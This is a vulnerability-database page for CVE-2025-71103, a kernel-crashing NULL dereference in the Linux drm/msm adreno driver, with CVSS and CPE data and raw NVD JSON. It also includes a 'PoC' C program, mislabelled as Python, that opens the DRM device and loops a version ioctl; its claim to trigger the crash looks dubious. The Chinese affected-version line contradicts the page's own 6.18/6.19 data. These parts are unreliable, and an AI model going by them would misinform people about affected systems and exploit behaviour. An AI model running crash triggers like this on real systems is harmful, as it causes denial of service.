Security Vulnerability Report
中文
CVE-2025-71103 CVSS 5.5 MEDIUM

CVE-2025-71103

Published: 2026-01-14 15:15:59
Last Modified: 2026-03-25 18:55:52
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: drm/msm: adreno: fix deferencing ifpc_reglist when not declared On plaforms with an a7xx GPU not supporting IFPC, the ifpc_reglist if still deferenced in a7xx_patch_pwrup_reglist() which causes a kernel crash: Unable to handle kernel NULL pointer dereference at virtual address 0000000000000008 ... pc : a6xx_hw_init+0x155c/0x1e4c [msm] lr : a6xx_hw_init+0x9a8/0x1e4c [msm] ... Call trace: a6xx_hw_init+0x155c/0x1e4c [msm] (P) msm_gpu_hw_init+0x58/0x88 [msm] adreno_load_gpu+0x94/0x1fc [msm] msm_open+0xe4/0xf4 [msm] drm_file_alloc+0x1a0/0x2e4 [drm] drm_client_init+0x7c/0x104 [drm] drm_fbdev_client_setup+0x94/0xcf0 [drm_client_lib] drm_client_setup+0xb4/0xd8 [drm_client_lib] msm_drm_kms_post_init+0x2c/0x3c [msm] msm_drm_init+0x1a4/0x228 [msm] msm_drm_bind+0x30/0x3c [msm] ... Check the validity of ifpc_reglist before deferencing the table to setup the register values. Patchwork: https://patchwork.freedesktop.org/patch/688944/

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.18:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:* - VULNERABLE
Linux内核 < 6.12.x (包含a7xx GPU支持)
drm/msm驱动受影响版本
特定于配置了不支持IFPC的a7xx GPU的系统

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2025-71103: NULL pointer dereference in a7xx GPU init // This PoC triggers the kernel NULL pointer dereference by initializing // the DRM driver on an a7xx GPU without IFPC support #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <drm/drm.h> #include <sys/ioctl.h> int main() { int fd; // Open DRM device (typically /dev/dri/card0 for primary GPU) fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Failed to open DRM device"); return 1; } printf("CVE-2025-71103 PoC: Triggering a7xx GPU initialization...\n"); // Trigger GPU initialization by requesting driver info // This will call msm_gpu_hw_init -> adreno_load_gpu -> a6xx_hw_init struct drm_version version; memset(&version, 0, sizeof(version)); // Multiple ioctl calls may be needed to fully initialize the GPU for (int i = 0; i < 10; i++) { if (ioctl(fd, DRM_IOCTL_VERSION, &version) < 0) { perror("DRM_VERSION ioctl failed"); } } close(fd); printf("PoC execution completed. Check kernel logs for crash.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-71103", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-14T15:15:59.323", "lastModified": "2026-03-25T18:55:52.080", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/msm: adreno: fix deferencing ifpc_reglist when not declared\n\nOn plaforms with an a7xx GPU not supporting IFPC, the ifpc_reglist\nif still deferenced in a7xx_patch_pwrup_reglist() which causes\na kernel crash:\nUnable to handle kernel NULL pointer dereference at virtual address 0000000000000008\n...\npc : a6xx_hw_init+0x155c/0x1e4c [msm]\nlr : a6xx_hw_init+0x9a8/0x1e4c [msm]\n...\nCall trace:\n a6xx_hw_init+0x155c/0x1e4c [msm] (P)\n msm_gpu_hw_init+0x58/0x88 [msm]\n adreno_load_gpu+0x94/0x1fc [msm]\n msm_open+0xe4/0xf4 [msm]\n drm_file_alloc+0x1a0/0x2e4 [drm]\n drm_client_init+0x7c/0x104 [drm]\n drm_fbdev_client_setup+0x94/0xcf0 [drm_client_lib]\n drm_client_setup+0xb4/0xd8 [drm_client_lib]\n msm_drm_kms_post_init+0x2c/0x3c [msm]\n msm_drm_init+0x1a4/0x228 [msm]\n msm_drm_bind+0x30/0x3c [msm]\n...\n\nCheck the validity of ifpc_reglist before deferencing the table\nto setup the register values.\n\nPatchwork: https://patchwork.freedesktop.org/patch/688944/"}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\ndrm/msm: adreno: corregir la desreferenciación de ifpc_reglist cuando no está declarada\n\nEn plataformas con una GPU a7xx que no soportan IFPC, la ifpc_reglist aún es desreferenciada en a7xx_patch_pwrup_reglist() lo que causa una caída del kernel:\nNo se puede manejar la desreferenciación de puntero NULL del kernel en la dirección virtual 0000000000000008\n...\npc : a6xx_hw_init+0x155c/0x1e4c [msm]\nlr : a6xx_hw_init+0x9a8/0x1e4c [msm]\n...\nTraza de llamada:\n a6xx_hw_init+0x155c/0x1e4c [msm] (P)\n msm_gpu_hw_init+0x58/0x88 [msm]\n adreno_load_gpu+0x94/0x1fc [msm]\n msm_open+0xe4/0xf4 [msm]\n drm_file_alloc+0x1a0/0x2e4 [drm]\n drm_client_init+0x7c/0x104 [drm]\n drm_fbdev_client_setup+0x94/0xcf0 [drm_client_lib]\n drm_client_setup+0xb4/0xd8 [drm_client_lib]\n msm_drm_kms_post_init+0x2c/0x3c [msm]\n msm_drm_init+0x1a4/0x228 [msm]\n msm_drm_bind+0x30/0x3c [msm]\n...\n\nVerificar la validez de ifpc_reglist antes de desreferenciar la tabla para configurar los valores del registro.\n\nPatchwork: https://patchwork.freedesktop.org/patch/688944/"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18.1", "versionEndExcluding": "6.18.3", "matchCriteriaId": "A3586EB6-087D-41EA-AD79-2AA54D44AAA1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.18:-:*:*:*:*:*:*", "matchCriteriaId": "DCE57113-2223-4308-A0F2-5E6ECFBB3C23"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:*", "matchCriteriaId": "17B67AA7-40D6-4AFA-8459-F200F3D7CFD1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:*", "matchCriteriaId": "C47E4CC9-C826-4FA9-B014-7FE3D9B318B2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:*", "matchCriteriaId": "F71D92C0-C023-48BD-B3B6-70B638EEE298"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc4:*:*:*:*:*:*", "matchCriteriaId": "13580667-0A98-40CC-B29F-D12790B91BDB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc5:*:*:*:*:*:*", "matchCriteriaId": "CAD1FED7-CF48-47BF-AC7D-7B6FA3C065FC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc6:*:*:*:*:*:*", "matchCriteriaId": "3EF854A1-ABB1-4E93-BE9A-44569EC76C0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc7:*:*:*:*:*:*", "matchCriteriaId": "F5DC0CA6-F0AF-4DDF-A882-3DADB9A886A7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc8:*:*:*:*:*:*", "matchCriteriaId": "EB5B7DFC-C36B-45D8-922C-877569FDDF43"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/129049d4fe22c998ae9fd1ec479fbb4ed5338c15", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/19648135e904bce447d368ecb6136e5da809639c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tag ... (truncated)